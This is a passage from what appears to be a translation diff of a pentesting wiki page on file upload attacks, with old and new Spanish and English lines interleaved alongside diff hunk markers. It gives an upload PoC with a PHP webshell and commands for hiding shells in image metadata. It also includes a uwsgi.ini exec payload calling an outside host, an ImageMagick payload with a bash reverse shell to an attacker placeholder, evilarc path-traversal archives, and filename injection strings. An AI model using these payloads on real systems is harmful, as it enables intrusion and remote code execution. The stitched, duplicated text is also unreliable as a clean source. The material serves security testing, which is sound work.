- El servidor elimina el punto final y persiste `shell.php`, que se ejecutará si se coloca en un directorio servido por la web (almacenamiento público por defecto como `/storage/files/`).
Minimal PoC (Burp Repeater):
```http
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
```
Luego accede a la ruta guardada (típico en Laravel + LFM):
```
GET /storage/files/0xdf.php?cmd=id
```
Mitigaciones:
- Actualizar unisharp/laravel-filemanager a ≥ 2.9.1.
- Imponer allowlists estrictas server-side y revalidar el nombre de archivo persistido.
- Servir uploads desde ubicaciones no ejecutables.
### Eludir Content-Type, Magic Number, Compresión & Redimensionado
- Eludir las comprobaciones de **Content-Type** ajustando el **value** del **Content-Type** **header** a: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Evade la comprobación de **magic number** añadiendo al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introduce el shell dentro de los **metadatos**:\
- Eludir la comprobación de **magic number** añadiendo al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introducir el shell dentro de los **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` o también podrías **introducir el payload directamente** en una imagen:\
`\` o también podrías **introducir la carga útil directamente** en una imagen:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Si **se aplica compresión** a tu imagen, por ejemplo usando algunas librerías estándar de PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, podrías usar el **chunk PLTE** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobreviva la compresión**.
- Si se está añadiendo **compresión a tu imagen**, por ejemplo usando algunas librerías estándar de PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, puedes usar el **PLTE chunk** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- La página web también podría estar **redimensionando** la **imagen**, usando por ejemplo las funciones PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, podrías usar el **chunk IDAT** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobreviva la compresión**.
- La página web también podría **redimensionar** la **imagen**, usando por ejemplo las funciones PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, puedes usar el **IDAT chunk** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Otra técnica para crear un payload que **sobreviva un redimensionado de imagen**, usando la función PHP-GD `thumbnailImage`. Sin embargo, podrías usar el **chunk tEXt** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **resista la compresión**.
- Otra técnica para crear una carga útil que **sobreviva un redimensionado de imagen**, usando la función PHP-GD `thumbnailImage`. Sin embargo, puedes usar el **tEXt chunk** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Otras técnicas para comprobar
### Otros trucos para comprobar
- Encuentra una vulnerabilidad para **renombrar** el archivo ya subido (para cambiar la extensión).
- Encuentra una vulnerabilidad de **Local File Inclusion** para ejecutar el backdoor.
- Encontrar una vulnerabilidad para **renombrar** el archivo ya subido (para cambiar la extensión).
- Encontrar una vulnerabilidad de **Local File Inclusion** para ejecutar el backdoor.
- **Posible divulgación de información**:
1. Sube **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre**
2. Sube un archivo con el **nombre** de un **archivo** o **directorio** que **ya existe**
3. Subir un archivo con **"." , ".." o "..." como nombre**. Por ejemplo, en Apache en **Windows**, si la aplicación guarda los archivos subidos en el directorio "/www/uploads/", el nombre "." creará un archivo llamado "uploads" en el directorio "/www/".
4. Sube un archivo que no pueda borrarse fácilmente como **"…:.jpg”** en **NTFS**. (Windows)
5. Sube un archivo en **Windows** con **caracteres inválidos** como `|<>*?”` en su nombre. (Windows)
6. Sube un archivo en **Windows** usando nombres **reservados** (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, y LPT9.
- Prueba también a **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecute código** cuando sea abierto accidentalmente por la víctima.
1. Subir **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre**
2. Subir un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe**
3. Subir un archivo con **".”, "..”, o "…” como su nombre**. Por ejemplo, en Apache en **Windows**, si la aplicación guarda los archivos subidos en el directorio "/www/uploads/”, el archivo con nombre "." creará un archivo llamado "uploads” en el directorio "/www/”.
4. Subir un archivo que no se pueda borrar fácilmente como **"…:.jpg”** en **NTFS**. (Windows)
5. Subir un archivo en **Windows** con **caracteres inválidos** como `|<>*?”` en su nombre. (Windows)
6. Subir un archivo en **Windows** usando nombres **reservados** (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, y LPT9.
- Intenta también **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecute código** cuando sea abierto accidentalmente por la víctima.
### Trucos especiales de extensión
### Trucos con extensiones especiales
Si estás intentando subir archivos a un servidor **PHP**, [echa un vistazo al truco de **.htaccess** para ejecutar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Si estás intentando subir archivos a un servidor **ASP**, [echa un vistazo al truco de **.config** para ejecutar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Si estás intentando subir archivos a un **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Si estás intentando subir archivos a un **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Los archivos `.phar` son como los `.jar` para java, pero para php, y pueden **usarse como un archivo php** (ejecutándolos con php, o incluyéndolos dentro de un script...)
Los archivos `.phar` son como los `.jar` para java, pero para php, y pueden **usarse como un archivo php** (ejecutándolo con php, o incluyéndolo dentro de un script...).
La extensión `.inc` a veces se usa para archivos php que solo se usan para **importar archivos**, así que, en algún punto, alguien podría haber permitido **que esta extensión se ejecute**.
La extensión `.inc` a veces se usa para archivos php que solo se usan para **importar archivos**, así que, en algún punto, alguien pudo haber permitido **que esta extensión se ejecute**.
## **Jetty RCE**
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
Si puedes subir un archivo XML a un servidor Jetty puedes obtener [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la imagen siguiente, sube el archivo XML a `$JETTY_BASE/webapps/` ¡y espera la shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Para una exploración detallada de esta vulnerabilidad consulta la investigación original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
Las vulnerabilidades de Remote Command Execution (RCE) pueden ser explotadas en servidores uWSGI si se tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI usan una sintaxis específica para incorporar variables "mágicas", placeholders y operadores. Notablemente, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los distintos esquemas soportados en uWSGI, el esquema "exec" es particularmente potente, permitiendo leer datos desde la salida estándar de un proceso. Esta funcionalidad puede ser manipulada con fines maliciosos como Remote Command Execution o Arbitrary File Write/Read cuando se procesa un archivo de configuración `.ini`.
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
Considera el siguiente ejemplo de un `uwsgi.ini` malicioso, que muestra varios schemes:
```ini
[uwsgi]
; read from a symbol
@ -126,14 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
La ejecución del payload ocurre durante el análisis del archivo de configuración. Para que la configuración se active y sea parseada, el proceso uWSGI debe reiniciarse (potencialmente tras un fallo o debido a un Denial of Service attack) o el archivo debe configurarse en auto-reload. La funcionalidad de auto-reload, si está activada, recarga el archivo en intervalos especificados al detectar cambios.
La ejecución del payload ocurre durante el análisis del archivo de configuración. Para que la configuración se active y sea analizada, el proceso uWSGI debe reiniciarse (potencialmente tras un crash o debido a un Denial of Service) o el archivo debe estar configurado para auto-reload. La función de auto-reload, si está habilitada, recarga el archivo a intervalos especificados al detectar cambios.
Es crucial entender la naturaleza laxa del análisis de los archivos de configuración de uWSGI. Específicamente, el payload discutido puede insertarse en un archivo binario (como una imagen o un PDF), ampliando así el alcance de la explotación posible.
Es crucial entender la laxitud en el análisis del archivo de configuración de uWSGI. Específicamente, el payload discutido puede ser insertado en un archivo binario (como una imagen o un PDF), ampliando aún más el alcance de la explotación potencial.
## **wget Subida de archivos/SSRF Truco**
## **wget File Upload/SSRF Trick**
En algunas ocasiones puedes encontrar que un servidor está usando **`wget`** para **descargar archivos** y puedes **indicar** la **URL**. En esos casos, el código puede estar comprobando que la extensión de los archivos descargados esté dentro de una lista blanca para asegurar que solo se van a descargar archivos permitidos. Sin embargo, **esta comprobación puede ser eludida.**\
La **longitud máxima** de un **nombre de archivo** en **linux** es **255**, sin embargo, `wget` trunca los nombres de archivo a **236** caracteres. Puedes **descargar un archivo llamado "A"\*232+".php"+".gif"**, este nombre de archivo **pasará** la **comprobación** (ya que en este ejemplo **".gif"** es una **extensión válida**) pero `wget` **renombrará** el archivo a **"A"\*232+".php"**.
En algunas ocasiones puedes encontrar que un servidor está usando **`wget`** para **descargar archivos** y puedes **indicar** la **URL**. En esos casos, el código puede comprobar que la extensión de los archivos descargados esté dentro de una whitelist para asegurarse de que sólo se van a descargar archivos permitidos. Sin embargo, **esta comprobación puede eludirse.**\
La **longitud máxima** de un **nombre de archivo** en **linux** es **255**, sin embargo, **wget** trunca los nombres de archivo a **236** caracteres. Puedes **descargar un archivo llamado "A"\*232+".php"+".gif"**, este nombre de archivo **evadirá** la **comprobación** (ya que en este ejemplo **".gif"** es una **extensión válida**) pero `wget` **renombrará** el archivo a **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,35 +186,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Ten en cuenta que **otra opción** que podrías estar considerando para evadir esta comprobación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial pase la verificación y luego wget descargue el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté usando con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**.
Ten en cuenta que **otra opción** que podrías estar considerando para eludir esta comprobación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial pase la comprobación y luego wget descargue el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se use con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre de archivo indicado en la URL original**.
## Herramientas
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) es una herramienta potente diseñada para ayudar a Pentesters y Bug Hunters a probar los mecanismos de file upload. Aprovecha varias técnicas de bug bounty para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando evaluaciones exhaustivas de aplicaciones web.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) es una herramienta poderosa diseñada para ayudar a Pentesters y Bug Hunters a probar mecanismos de subida de archivos. Aprovecha diversas técnicas de bug bounty para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando evaluaciones exhaustivas de aplicaciones web.
### Corrompiendo índices de upload con peculiaridades de snprintf (histórico)
### Corrupción de índices de upload con peculiaridades de snprintf (histórico)
Algunos legacy upload handlers que usan `snprintf()` o similar para construir arrays multi-file a partir de una single-file upload pueden ser engañados para forjar la estructura `_FILES`. Debido a inconsistencias y truncamiento en el comportamiento de `snprintf()`, una single upload cuidadosamente creada puede aparecer como múltiples archivos indexados en el servidor, confundiendo la lógica que asume una forma estricta (p. ej., tratándolo como una multi-file upload y tomando ramas inseguras). Aunque hoy es poco común, este patrón de “index corruption” ocasionalmente resurge en CTFs y bases de código antiguas.
Algunos manejadores legacy de upload que usan `snprintf()` o similar para construir arrays de múltiples archivos a partir de una subida de un solo archivo pueden ser engañados para falsificar la estructura `_FILES`. Debido a inconsistencias y truncamiento en el comportamiento de `snprintf()`, una subida única cuidadosamente elaborada puede aparecer como múltiples archivos indexados en el lado del servidor, confundiendo la lógica que asume una forma estricta (p. ej., tratándola como una subida multi-archivo y tomando ramas inseguras). Aunque hoy es poco común, este patrón de “corrupción de índices” ocasionalmente reaparece en CTFs y bases de código antiguas.
## From File upload to other vulnerabilities
## De File upload a otras vulnerabilidades
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
- Establece **filename** en `../../../tmp/lol.png` y trata de lograr un **path traversal**
- Establece **filename** en `sleep(10)-- -.jpg` y podrías lograr una **SQL injection**
- Establece **filename** en `<svg onload=alert(document.domain)>` para lograr un **XSS**
- Establece **filename** en `; sleep 10;` para probar algún **command injection** (más [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Prueba **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Si puedes **indicar al servidor web que obtenga una imagen desde una URL** podrías intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/index.html). Si esta **imagen** va a ser **saved** en algún sitio **public**, también podrías indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
- Si puedes **indicar el web server para que coja una imagen desde una URL** podrías intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/index.html). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podrías indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- PDFs especialmente craftados para XSS: La [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Si puedes subir PDFs podrías preparar algún PDF que ejecute JS arbitrario siguiendo las indicaciones dadas.
- Sube el \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content para comprobar si el servidor tiene algún **antivirus**
- Comprueba si existe algún **size limit** al subir archivos
- PDFs especialmente creados para XSS: La [siguiente página muestra cómo **inyectar datos en PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puedes subir PDFs podrías preparar algún PDF que ejecute JS arbitrario siguiendo las indicaciones dadas.
- Sube el contenido de \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para comprobar si el servidor tiene algún **antivirus**
- Comprueba si existe algún **límite de tamaño** al subir archivos
Aquí tienes una lista top 10 de cosas que puedes lograr subiendo archivos (de [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Aquí tienes una lista top 10 de cosas que puedes lograr subiendo archivos (desde [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -197,7 +227,7 @@ Aquí tienes una lista top 10 de cosas que puedes lograr subiendo archivos (de [
9. **ZIP**: RCE via LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Burp Extension
#### Extensión de Burp
{{#ref}}
@ -206,18 +236,18 @@ https://github.com/portswigger/upload-scanner
## Bytes mágicos de cabecera
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Consulta [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para otros tipos de archivo.
## Subida de ZIP/TAR descomprimida automáticamente
## Subida de archivos Zip/Tar descomprimida automáticamente
Si puedes subir un ZIP que va a ser descomprimido dentro del servidor, puedes hacer 2 cosas:
Si puedes subir un ZIP que vaya a ser descomprimido dentro del servidor, puedes hacer 2 cosas:
### Symlink
Sube un ZIP que contenga symlinks (soft links) a otros archivos; al acceder a los archivos descomprimidos accederás a los archivos enlazados:
Sube un ZIP que contenga symlinks a otros archivos; al acceder a los archivos descomprimidos accederás a los archivos enlazados:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -225,16 +255,16 @@ tar -cvf test.tar symindex.txt
```
### Descomprimir en diferentes carpetas
La creación inesperada de archivos en directorios durante la descompresión es un problema significativo. A pesar de las suposiciones iniciales de que esta configuración podría proteger contra la ejecución de comandos OS-level a través de uploads de archivos maliciosos, el soporte de compresión jerárquica y las capacidades de directory traversal del formato de archivo ZIP pueden ser explotados. Esto permite a los atacantes eludir las restricciones y escapar de los directorios de upload seguros manipulando la funcionalidad de descompresión de la aplicación objetivo.
La creación inesperada de archivos en directorios durante la descompresión es un problema importante. A pesar de la suposición inicial de que esta configuración podría proteger contra la ejecución de comandos a nivel del sistema operativo mediante cargas de archivos maliciosos, el soporte jerárquico de compresión y las capacidades de directory traversal del formato de archivo ZIP pueden ser explotadas. Esto permite a los atacantes eludir las restricciones y escapar de los directorios de subida seguros manipulando la funcionalidad de descompresión de la aplicación objetivo.
Un exploit automatizado para crear tales archivos está disponible en [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). La utilidad puede usarse como se muestra:
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). La utilidad puede utilizarse como se muestra:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Además, la **symlink trick with evilarc** es una opción. Si el objetivo es apuntar a un archivo como `/flag.txt`, se debe crear un symlink a ese archivo en tu sistema. Esto asegura que evilarc no encuentre errores durante su operación.
Además, la **symlink trick with evilarc** es una opción. Si el objetivo es apuntar a un archivo como `/flag.txt`, debe crearse un symlink a ese archivo en tu sistema. Esto asegura que evilarc no encuentre errores durante su operación.
A continuación se muestra un ejemplo de código Python usado para crear un archivo zip malicioso:
```python
@ -254,11 +284,11 @@ zip.close()
create_zip()
```
**Abusar de la compresión para file spraying**
**Abusing compression for file spraying**
Para más detalles **consulta la entrada original en**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creando un PHP Shell**: Se escribe código PHP para ejecutar comandos pasados a través de la variable `$_REQUEST`.
1. **Creating a PHP Shell**: Se escribe código PHP para ejecutar comandos pasados a través de la variable `$_REQUEST`.
```php
<?php
@ -268,14 +298,14 @@ system($cmd);
}?>
```
2. **File Spraying y creación de archivos comprimidos**: Se crean múltiples archivos y se arma un archivo zip que contiene estos archivos.
2. **File Spraying and Compressed File Creation**: Se crean múltiples archivos y se genera un archivo zip que contiene estos archivos.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modificación con un Hex Editor o vi**: Los nombres de los archivos dentro del zip se alteran usando vi o un Hex Editor, cambiando "xxA" por "../" para atravesar directorios.
3. **Modification with a Hex Editor or vi**: Los nombres de los archivos dentro del zip se modifican usando vi o un hex editor, cambiando "xxA" por "../" para atravesar directorios.
```bash
:set modifiable
@ -292,31 +322,31 @@ viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Incrustar shell PHP en PNG
## Incrustar PHP Shell en PNG
Incrustar una shell PHP en el chunk IDAT de un archivo PNG puede eludir eficazmente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` y `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se usan comúnmente para el redimensionado y el remuestreo de imágenes, respectivamente. La capacidad de la shell PHP incrustada para permanecer intacta frente a estas operaciones es una ventaja significativa en determinados casos de uso.
Incrustar un PHP shell en el chunk IDAT de un archivo PNG puede eludir eficazmente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` y `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se usan comúnmente para redimensionar y remuestrear imágenes, respectivamente. La capacidad del PHP shell incrustado de permanecer intacto frente a estas operaciones es una ventaja significativa para ciertos casos de uso.
Una exploración detallada de esta técnica, incluyendo su metodología y posibles aplicaciones, se proporciona en el siguiente artículo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso ofrece una comprensión completa del proceso y sus implicaciones.
Una exploración detallada de esta técnica, incluyendo su metodología y posibles aplicaciones, se ofrece en el siguiente artículo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso ofrece una comprensión completa del proceso y sus implicaciones.
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
Más información en: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Archivos poliglotas
## Polyglot Files
Los archivos poliglotas sirven como una herramienta singular en ciberseguridad, actuando como camaleones que pueden existir válidamente en múltiples formatos de archivo simultáneamente. Un ejemplo intrigante es un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un híbrido que funciona tanto como GIF como archivo RAR. Estos archivos no se limitan a este emparejamiento; combinaciones como GIF y JS o PPT y JS también son factibles.
Polyglot files sirven como una herramienta única en ciberseguridad, actuando como camaleones que pueden existir válidamente en múltiples formatos de archivo simultáneamente. Un ejemplo intrigante es un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un híbrido que funciona tanto como GIF como archivo RAR. Estos archivos no se limitan a ese emparejamiento; combinaciones como GIF y JS o PPT y JS también son factibles.
La utilidad principal de los archivos poliglotas radica en su capacidad para eludir medidas de seguridad que inspeccionan archivos basándose en el tipo. La práctica común en varias aplicaciones consiste en permitir solo ciertos tipos de archivo para upload —como JPEG, GIF o DOC— para mitigar el riesgo que suponen formatos potencialmente peligrosos (p. ej., JS, PHP o Phar). Sin embargo, un poliglota, al ajustarse a los criterios estructurales de múltiples tipos de archivo, puede eludir sigilosamente estas restricciones.
La utilidad principal de los polyglot files radica en su capacidad para eludir medidas de seguridad que inspeccionan archivos según su tipo. Una práctica común en varias aplicaciones consiste en permitir sólo ciertos tipos de archivo para la subida —como JPEG, GIF o DOC— para mitigar el riesgo que suponen formatos potencialmente peligrosos (por ejemplo, JS, PHP o Phar). Sin embargo, un polyglot, al ajustarse a los criterios estructurales de múltiples tipos de archivo, puede pasar desapercibido frente a estas restricciones.
A pesar de su adaptabilidad, los poliglotas encuentran limitaciones. Por ejemplo, aunque un poliglota pueda encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su upload puede depender de las políticas de extensión de archivo de la plataforma. Si el sistema es estricto respecto a las extensiones permitidas, la mera dualidad estructural de un poliglota puede no ser suficiente para garantizar su upload.
A pesar de su adaptabilidad, los polyglots enfrentan limitaciones. Por ejemplo, aunque un polyglot pueda encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su subida puede depender de las políticas de extensión de archivos de la plataforma. Si el sistema es estricto respecto a las extensiones permitidas, la mera dualidad estructural de un polyglot puede no ser suficiente para garantizar su subida.
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Subir JSON válidos como si fueran PDF
Cómo evitar las detecciones de tipo de archivo subiendo un archivo JSON válido incluso si no está permitido, fingiendo que es un archivo PDF (técnicas de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Cómo evitar detecciones de tipo de archivo subiendo un archivo JSON válido incluso si no está permitido, falsificando un archivo PDF (técnicas de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: Mientras los bytes mágicos `%PDF` estén dentro de los primeros 1024 bytes, es válido (ver ejemplo en el post)
- **`pdflib` library**: Añade un formato PDF falso dentro de un campo del JSON para que la librería piense que es un PDF (ver ejemplo en el post)
- **`file` binary**: Puede leer hasta 1048576 bytes de un archivo. Simplemente crea un JSON más grande que eso para que no pueda parsear el contenido como un json y luego, dentro del JSON, coloca la parte inicial de un PDF real y pensará que es un PDF
- **`mmmagic` library**: Siempre que los bytes mágicos `%PDF` estén en los primeros 1024 bytes, es válido (ver ejemplo en el post)
- **`pdflib` library**: Agrega un formato PDF falso dentro de un campo del JSON para que la librería piense que es un PDF (ver ejemplo en el post)
- **`file` binary**: Puede leer hasta 1048576 bytes de un archivo. Crea un JSON más grande que eso para que no pueda parsear el contenido como JSON y luego, dentro del JSON, coloca la parte inicial de un PDF real y pensará que es un PDF
## Referencias
@ -328,5 +358,8 @@ Cómo evitar las detecciones de tipo de archivo subiendo un archivo JSON válido
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [CVE-2024-21546 NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
